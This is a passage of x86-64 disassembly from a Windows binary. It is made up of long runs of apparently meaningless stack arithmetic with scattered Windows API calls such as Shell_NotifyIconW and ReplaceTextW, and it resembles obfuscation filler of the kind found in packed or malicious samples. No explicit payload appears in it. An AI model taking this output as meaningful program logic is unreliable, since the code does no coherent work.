call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0xd9c8], rax
mov rax, qword [rsp + 0xd7b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b9c]
sub eax, ecx
mov word [rsp + 0x1d0c], ax
mov rax, qword [rsp + 0xd4e0]
movzx eax, word [rax]
mov rcx, qword [0x14019f100]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019f03c], ax
mov rax, qword [rsp + 0xd1c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd500]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd848], rax
lea rax, [rsp + 0xccf8]
mov qword [rsp + 0xd9d0], rax
movsx eax, word [rsp + 0x1c10]
mov rcx, qword [rsp + 0xd258]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd818]
mov word [rcx], ax
movzx eax, word [rsp + 0xcc8]
mov word [rsp + 0x2bdc], ax
mov rax, qword [rsp + 0xd628]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4ad]
sar eax, cl
mov byte [rsp + 0x45e], al
mov eax, dword [rsp + 0x6dc4]
mov rcx, qword [0x14019f158]
mov qword [rsp + 0xd9d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd9d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6184], eax
mov rax, qword [rsp + 0xc4d8]
mov rcx, qword [rsp + 0xbfa0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd568], rax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xd0d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb340], rax
movsx eax, word [rsp + 0x2ad8]
movsx ecx, word [rsp + 0x2a34]
add eax, ecx
mov word [0x14019f040], ax
mov rax, qword [rsp + 0xd630]
movzx eax, word [rax]
mov word [rsp + 0x2be0], ax
mov eax, dword [0x14019efa8]
mov ecx, dword [rsp + 0x6b50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c78], eax
lea rax, [rsp + 0x50a]
mov qword [rsp + 0xd9e0], rax
mov rax, qword [rsp + 0xad00]
mov rcx, qword [rsp + 0xcf48]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
mov rcx, qword [0x14019f158]
mov qword [rsp + 0xd9e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd9e8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5cf0], eax
lea rax, [rsp + 0x347]
mov qword [rsp + 0xd9f0], rax
mov rax, qword [rsp + 0xd908]
mov rcx, qword [rsp + 0xd608]
mov qword [rsp + 0xd9f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd9f8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd518], rax
lea rax, [0x14019d0cc]
mov qword [rsp + 0xda00], rax
mov rax, qword [rsp + 0xd8b0]
movzx eax, word [rax]
mov word [0x14019f188], ax
mov rax, qword [rsp + 0xd388]
mov rcx, qword [rsp + 0xb590]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb9d8], rax
mov rax, qword [rsp + 0xd7a0]
movzx eax, word [rax]
movzx ecx, word [0x14019ef98]
sub eax, ecx
mov word [rsp + 0x2b54], ax
movsx eax, word [rsp + 0x1dfc]
movsx ecx, word [rsp + 0x2a50]
xor eax, ecx
mov word [rsp + 0x1340], ax
mov rax, qword [rsp + 0xd780]
mov rcx, qword [rsp + 0x9a60]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd950], rax
mov rax, qword [0x14019f098]
mov qword [rsp + 0xda08], rax
mov rax, qword [rsp + 0xd438]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3aa], al
mov eax, dword [rsp + 0x6c24]
mov rcx, qword [rsp + 0xd198]
mov qword [rsp + 0xda10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xda10]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6da8], eax
movzx eax, word [0x14019d05c]
mov word [rsp + 0x2be4], ax
mov rax, qword [rsp + 0xd380]
mov rcx, qword [rsp + 0xd9d0]
mov qword [rsp + 0xda18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xda18]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [0x14019f0d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd740]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4fa], al
mov rax, qword [rsp + 0xd0f8]
mov rcx, qword [rsp + 0xd480]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6928], eax
mov rax, qword [rsp + 0xd588]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1244]
add eax, ecx
mov word [rsp + 0x2284], ax
movzx eax, word [0x14019f07c]
mov word [rsp + 0x2be8], ax
mov eax, dword [rsp + 0x6184]
mov ecx, dword [rsp + 0x6df0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5e18], eax
movsx eax, byte [rsp + 0x506]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4f5], al
xor r8d, r8d
lea rdx, [rsp + 0xd668]
lea rcx, [rsp + 0xd138]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0xcee8], rax
mov rax, qword [rsp + 0xd3b8]
mov rax, qword [rax]
mov rcx, qword [section..data]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa700], rax
mov rax, qword [rsp + 0xd2d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe3c]
sar eax, cl
mov rcx, qword [rsp + 0xd2d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov word [0x14019f18c], ax
lea rax, [rsp + 0xd980]
mov qword [rsp + 0xda20], rax
mov rax, qword [rsp + 0xd548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc338]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd128], rax
mov rax, qword [rsp + 0xd940]
mov rcx, qword [rsp + 0xb4e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd3a8], rax
movzx eax, word [rsp + 0xd68]
mov word [rsp + 0x2bec], ax
mov rax, qword [rsp + 0xd488]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x461]
and eax, ecx
mov byte [rsp + 0x503], al
mov eax, dword [rsp + 0x6db0]
mov dword [rsp + 0x6e10], eax
mov rax, qword [0x14019f120]
mov rcx, qword [rsp + 0xd4f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xd340], rax
movzx eax, byte [rsp + 0x4e8]
movzx ecx, byte [rsp + 0x34f]
or eax, ecx
mov byte [rsp + 0x507], al
lea rax, [rsp + 0x5b24]
mov qword [rsp + 0xda28], rax
lea rax, [rsp + 0x2a64]
mov qword [0x14019f190], rax
lea rcx, [rsp + 0x1e8d0]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0xda30], rax
mov rax, qword [rsp + 0xd4a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29a8]
sar eax, cl
mov word [rsp + 0xba0], ax
mov rax, qword [rsp + 0xd4e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2380], ax
mov rax, qword [rsp + 0xbf08]
mov rcx, qword [0x14019d040]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd2e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd788]
mov qword [rsp + 0xda38], rax
movsx eax, byte [rsp + 0x4e5]
movsx ecx, byte [rsp + 0x4fd]
sub eax, ecx
mov byte [rsp + 0x252], al
mov rax, qword [rsp + 0xd338]
mov rcx, qword [rsp + 0xd118]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6d20], eax
movsx eax, word [rsp + 0x2b38]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2808], ax
mov rax, qword [0x14019f100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28e0]
sub eax, ecx
mov word [rsp + 0x2be4], ax
mov rax, qword [rsp + 0xaa88]
mov rcx, qword [rsp + 0xd5a0]
mov qword [rsp + 0xda40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xda40]
mov rax, qword [rax]
sar rax, cl
mov qword [0x14019f070], rax
movzx eax, word [rsp + 0x2b6c]
mov word [rsp + 0x2bf0], ax
mov rax, qword [rsp + 0xbfc8]
movzx ecx, al
mov rax, qword [0x14019f110]
shl rax, cl
mov qword [rsp + 0xd998], rax
mov rax, qword [rsp + 0xd720]
mov rcx, qword [rsp + 0xb570]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcf80], rax
mov rax, qword [rsp + 0xd568]
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0xcfb0]
mov ecx, dword [rsp + 0x6d28]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5b50], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd9e0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x3b1], al
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d9c], eax
mov rax, qword [rsp + 0xd9f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50c]
or eax, ecx
mov byte [rsp + 0x510], al
mov rax, qword [rsp + 0xda00]
movsx eax, word [rax]
mov rcx, qword [0x14019f008]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14019f0f0], ax
movzx eax, word [rsp + 0xd68]
mov word [rsp + 0x2bf4], ax
movzx eax, word [rsp + 0xd94]
mov rcx, qword [rsp + 0xd700]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2afc], ax
movzx eax, word [rsp + 0x2afc]
movzx ecx, word [rsp + 0x1cf4]
sub eax, ecx
mov word [rsp + 0xc9c], ax
lea rcx, [rsp + 0x1e920]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0xce38], rax
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xd110]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd120], rax
movsx eax, byte [rsp + 0xa1]
movsx ecx, byte [rsp + 0x4e6]
add eax, ecx
mov byte [rsp + 0x4ad], al
mov eax, dword [rsp + 0x6e10]
mov dword [rsp + 0x6e14], eax
mov rax, qword [rsp + 0xda00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x13d8]
add eax, ecx
mov word [rsp + 0x2a90], ax
lea rax, [rsp + 0x2b84]
mov qword [rsp + 0xda50], rax
mov rax, qword [rsp + 0xda20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ee8]
add rcx, rax
mov rax, rcx
mov qword [0x14019d0d8], rax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd298]
mov qword [rsp + 0xda58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xda58]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xbf08], rax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [0x14019d088]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9e10], rax
mov rax, qword [rsp + 0xd208]
mov rcx, qword [rsp + 0xcec0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd088], rax
movzx eax, word [rsp + 0x2b34]
movzx ecx, word [rsp + 0x2a4c]
and eax, ecx
mov word [rsp + 0x2b70], ax
lea rax, [0x14019efac]
mov qword [rsp + 0xda60], rax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x45a]
sar eax, cl
mov byte [rsp + 0x518], al
mov rax, qword [rsp + 0xd608]
mov rax, qword [rax]
mov qword [rsp + 0xda68], rax
mov rax, qword [rsp + 0xd338]
mov ecx, dword [0x14019d060]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5ab4], eax
lea rax, [rsp + 0x3aa]
mov qword [0x14019f198], rax
mov rax, qword [rsp + 0xd7d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd898]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2ba8], ax
mov rax, qword [rsp + 0xd258]
movzx eax, word [rax]
mov word [rsp + 0x2bf8], ax
mov rax, qword [rsp + 0xd5f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd148]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd228]
mov word [rcx], ax
mov rax, qword [rsp + 0xb570]
mov rcx, qword [rsp + 0xd5c8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbf78], rax
movsx eax, byte [str.mA8xd_v0]
movsx ecx, byte [rsp + 0x506]
shl eax, cl
mov byte [rsp + 0x4f7], al
mov rax, qword [rsp + 0xd1c8]
mov rcx, qword [rsp + 0xd9a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xad08], rax
lea rax, [rsp + 0x6e08]
mov qword [rsp + 0xda70], rax
movsx eax, word [rsp + 0x2aec]
movsx ecx, word [rsp + 0x2a34]
add eax, ecx
mov word [rsp + 0x2a2c], ax
movzx eax, word [rsp + 0x2a10]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019f0e4], ax
mov rax, qword [rsp + 0xd548]
mov rax, qword [rax]
mov qword [rsp + 0xda78], rax
mov rax, qword [rsp + 0xd4a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11d4]
add eax, ecx
mov word [rsp + 0x2adc], ax
mov rax, qword [rsp + 0xd050]
mov ecx, dword [rsp + 0x5eac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6df4], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x504]
xor eax, ecx
mov byte [rsp + 0x481], al
movsx eax, byte [rsp + 0x18d]
movsx ecx, byte [rsp + 0x4e6]
and eax, ecx
mov byte [rsp + 0x4fb], al
mov rax, qword [rsp + 0xd468]
mov rax, qword [rax]
mov qword [rsp + 0xda80], rax
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6d64]
shl eax, cl
mov dword [rsp + 0x6cf8], eax
mov rax, qword [rsp + 0xced0]
movzx eax, word [rax]
mov word [rsp + 0x2bfc], ax
mov rax, qword [rsp + 0xd8c8]
movzx eax, word [rax]
mov word [0x14019f1a0], ax
mov rax, qword [0x14019f0a8]
mov rcx, qword [rsp + 0xcf80]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd500], rax
mov rax, qword [rsp + 0xd3a8]
movzx ecx, al
mov rax, qword [rsp + 0xd670]
sar rax, cl
mov qword [rsp + 0xd3c8], rax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xda00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x213c], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bbc]
or eax, ecx
mov word [rsp + 0xcc8], ax
lea rax, [rsp + 0x632c]
mov qword [rsp + 0xda88], rax
mov rax, qword [rsp + 0xd6e0]
movzx ecx, al
mov rax, qword [rsp + 0xd390]
shr rax, cl
mov qword [rsp + 0xd410], rax
mov rax, qword [0x14019f198]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd970]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4e4], al
lea rax, [rsp + 0xd808]
mov qword [rsp + 0xda90], rax
movsx eax, word [rsp + 0x17ac]
movsx ecx, word [0x14019eff8]
sub eax, ecx
mov word [0x14019f040], ax
movzx eax, word [rsp + 0x28e0]
movzx ecx, word [rsp + 0x2b34]
sub eax, ecx
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0xd9e0]
movzx eax, byte [rax]
mov byte [rsp + 0x521], al
mov rax, qword [rsp + 0xda60]
mov ecx, dword [rsp + 0x6920]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6d78], eax
mov rax, qword [rsp + 0xd638]
mov rcx, qword [rsp + 0xcac8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd320], rax
movsx eax, byte [rsp + 0x4ea]
movsx ecx, byte [rsp + 0x506]
xor eax, ecx
mov byte [rsp + 0x22a], al
mov rax, qword [rsp + 0xa478]
movzx ecx, al
mov rax, qword [0x14019eff0]
shl rax, cl
mov qword [rsp + 0xd400], rax
mov eax, dword [rsp + 0x6dcc]
mov dword [rsp + 0x6e18], eax
movsx eax, word [rsp + 0x1e7c]
movsx ecx, word [rsp + 0x1810]
sar eax, cl
mov word [rsp + 0x2a7c], ax
mov rax, qword [rsp + 0xd630]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdb0]
or eax, ecx
mov word [0x14019d0e0], ax
mov rax, qword [rsp + 0xb590]
mov qword [rsp + 0xda98], rax
movzx eax, word [rsp + 0x2b04]
movzx ecx, word [0x14019f170]
sub eax, ecx
mov word [rsp + 0x2aac], ax
movsx eax, word [rsp + 0x2a6c]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b64], ax
mov rax, qword [rsp + 0xd478]
mov rcx, qword [rsp + 0xd0d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xca50], rax
lea rdx, [rsp + 0x23110]
mov ecx, 0x62
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x6d50], eax
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd788]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xda80], rax
mov eax, dword [rsp + 0x6cf0]
mov dword [rsp + 0x6e1c], eax
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd970]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1e5], al
mov rax, qword [rsp + 0xd8e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8b0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2bbc], ax
mov rax, qword [rsp + 0xd5a0]
mov rcx, qword [rsp + 0xbce8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14019f0d0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x4fe]
mov rcx, qword [rsp + 0xd1a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa8], al
mov eax, dword [rsp + 0x6d34]
mov ecx, dword [rsp + 0x6af0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6dd4], eax
mov rax, qword [rsp + 0xd588]
movzx eax, word [rax]
mov word [rsp + 0x2c00], ax
movzx eax, word [0x14019f03c]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2aa8], ax
movsx eax, byte [rsp + 0x444]
mov rcx, qword [rsp + 0xd628]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4fd], al
mov rax, qword [rsp + 0xd938]
mov qword [rsp + 0xdaa0], rax
mov eax, dword [rsp + 0x6dec]
mov rcx, qword [0x14019f158]
mov qword [rsp + 0xdaa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdaa8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6de4], eax
movsx eax, word [rsp + 0x2b74]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1750], ax
movzx eax, word [rsp + 0x2a9c]
mov word [0x14019f1a4], ax
mov rax, qword [rsp + 0xd940]
mov rax, qword [rax]
mov rcx, qword [0x14019d0d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd260], rax
mov rax, qword [rsp + 0xda90]
mov rcx, qword [rsp + 0xc488]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcec0], rax
mov rax, qword [rsp + 0xd3c8]
mov qword [rsp + 0xdab0], rax
movsx eax, word [rsp + 0x11b4]
movsx ecx, word [rsp + 0x2ad8]
add eax, ecx
mov word [rsp + 0x2b50], ax
mov rax, qword [rsp + 0xd570]
mov rcx, qword [rsp + 0xd8e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa980], rax
mov eax, dword [rsp + 0x58e0]
movzx ecx, al
mov eax, dword [rsp + 0x5e94]
shl eax, cl
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xd970]
movzx eax, byte [rax]
mov byte [rsp + 0x522], al
mov eax, dword [rsp + 0x6d90]
mov ecx, dword [rsp + 0x6d98]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5eb4], eax
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
sar eax, cl
mov byte [rsp + 0x283], al
mov rax, qword [rsp + 0xd420]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd878]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019d0cc], ax
mov rax, qword [rsp + 0xd5f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b2c]
add eax, ecx
mov word [rsp + 0x2648], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd700]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xd94], ax
mov rax, qword [rsp + 0xd918]
mov rax, qword [rax]
mov qword [rsp + 0xdab8], rax
mov rax, qword [rsp + 0xd218]
movsx eax, byte [rax]
mov rcx, qword [0x14019f198]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xd158]
mov byte [rcx], al
xor edx, edx
mov eax, dword [rsp + 0x6db8]
div dword [rsp + 0x6e10]
mov dword [rsp + 0x6184], eax
mov rax, qword [rsp + 0xbfa0]
mov qword [rsp + 0xdac0], rax
mov rax, qword [rsp + 0xd588]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bb0]
shl eax, cl
mov word [rsp + 0x2b9c], ax
mov rax, qword [rsp + 0xd630]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8a0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2894], ax
mov rax, qword [rsp + 0xd408]
mov rax, qword [rax]
mov qword [0x14019f1a8], rax
movzx eax, word [rsp + 0x2a78]
mov rcx, qword [rsp + 0xd828]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x131c], ax
mov rax, qword [rsp + 0xa0e8]
mov rcx, qword [rsp + 0xc338]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e10], rax
mov rax, qword [rsp + 0xd548]
mov rax, qword [rax]
mov qword [rsp + 0xdac8], rax
mov rax, qword [rsp + 0xd198]
mov ecx, dword [rsp + 0x6e18]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6cf0], eax
mov rax, qword [rsp + 0xd248]
mov rcx, qword [rsp + 0xd9a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9790], rax
mov rax, qword [rsp + 0xda60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x633c], eax
movzx eax, byte [rsp + 0x4fc]
mov byte [rsp + 0x523], al
mov rax, qword [rsp + 0xd2c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd970]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2db], al
mov rax, qword [rsp + 0xd750]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd398]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14019d0e4], ax
movsx eax, word [rsp + 0x2b20]
movsx ecx, word [rsp + 0x2b28]
sar eax, cl
mov word [rsp + 0x151c], ax
mov rax, qword [rsp + 0xd888]
movzx eax, word [rax]
mov word [rsp + 0x2c04], ax
mov rax, qword [rsp + 0xd700]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2aa0]
or eax, ecx
mov word [rsp + 0xf04], ax
mov rax, qword [rsp + 0xd1c8]
mov rcx, qword [rsp + 0xa980]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa498], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x6a], al
xor edx, edx
mov rax, qword [rsp + 0xda88]
mov eax, dword [rax]
div dword [rsp + 0x6afc]
mov dword [rsp + 0x632c], eax
movzx eax, word [rsp + 0x11b4]
mov word [rsp + 0x2c08], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a3c]
sub eax, ecx
mov rcx, qword [rsp + 0xd8c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xda90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc488]
or rcx, rax
mov rax, rcx
mov qword [0x14019d088], rax
mov rax, qword [rsp + 0xd2e0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd1e0]
sar rax, cl
mov qword [rsp + 0xabd0], rax
mov rax, qword [rsp + 0xd3a8]
mov rcx, qword [rsp + 0xd940]
mov qword [rsp + 0xdad0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdad0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd680], rax
mov rax, qword [rsp + 0xda90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd950], rax
movzx eax, word [0x14019d0a8]
mov word [rsp + 0x2c0c], ax
mov rax, qword [rsp + 0xd098]
mov rcx, qword [rsp + 0xd050]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6450], eax
movzx eax, byte [rsp + 0x4e7]
mov byte [rsp + 0x524], al
mov eax, dword [rsp + 0x6704]
mov ecx, dword [rsp + 0x6d0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6da0], eax
mov rax, qword [rsp + 0xd488]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4fb]
add eax, ecx
mov rcx, qword [rsp + 0xd970]
mov byte [rcx], al
mov rax, qword [rsp + 0xd608]
mov rcx, qword [rsp + 0xd3b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019f010], rax
movsx eax, word [0x14019f0f0]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1a38], ax
mov rax, qword [rsp + 0xd7b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11b4]
or eax, ecx
mov word [rsp + 0x2a2c], ax
movzx eax, word [rsp + 0x2b34]
mov word [rsp + 0x2c10], ax
mov rax, qword [rsp + 0xd650]
mov rax, qword [rax]
mov rcx, qword [0x14019d008]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd1c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xda88]
mov rcx, qword [rsp + 0xd960]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5e40], eax
mov rax, qword [rsp + 0x9f98]
movzx ecx, al
mov rax, qword [0x14019f098]
shr rax, cl
mov qword [rsp + 0xd938], rax
movsx eax, byte [rsp + 0x519]
movsx ecx, byte [rsp + 0x4ad]
sub eax, ecx
mov byte [rsp + 0x512], al
movzx eax, word [rsp + 0x2b50]
mov word [rsp + 0x2c14], ax
movzx eax, word [rsp + 0x2aac]
mov word [0x14019f1b0], ax
mov rax, qword [rsp + 0xd890]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd870]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd048], rax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1138]
shl eax, cl
mov word [rsp + 0x11f4], ax
mov eax, dword [rsp + 0x6d30]
mov ecx, dword [0x14019efac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d08], eax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x50b], al
mov rax, qword [rsp + 0xd5e0]
mov qword [rsp + 0xdad8], rax
mov rax, qword [rsp + 0xd058]
mov rcx, qword [rsp + 0xd118]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd338]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x4f7]
mov byte [rsp + 0x525], al
movsx eax, word [rsp + 0x2a74]
mov rcx, qword [rsp + 0xd588]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2284], ax
mov rax, qword [rsp + 0xd4a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc8]
add eax, ecx
mov word [0x14019d0e8], ax
mov rax, qword [rsp + 0xceb8]
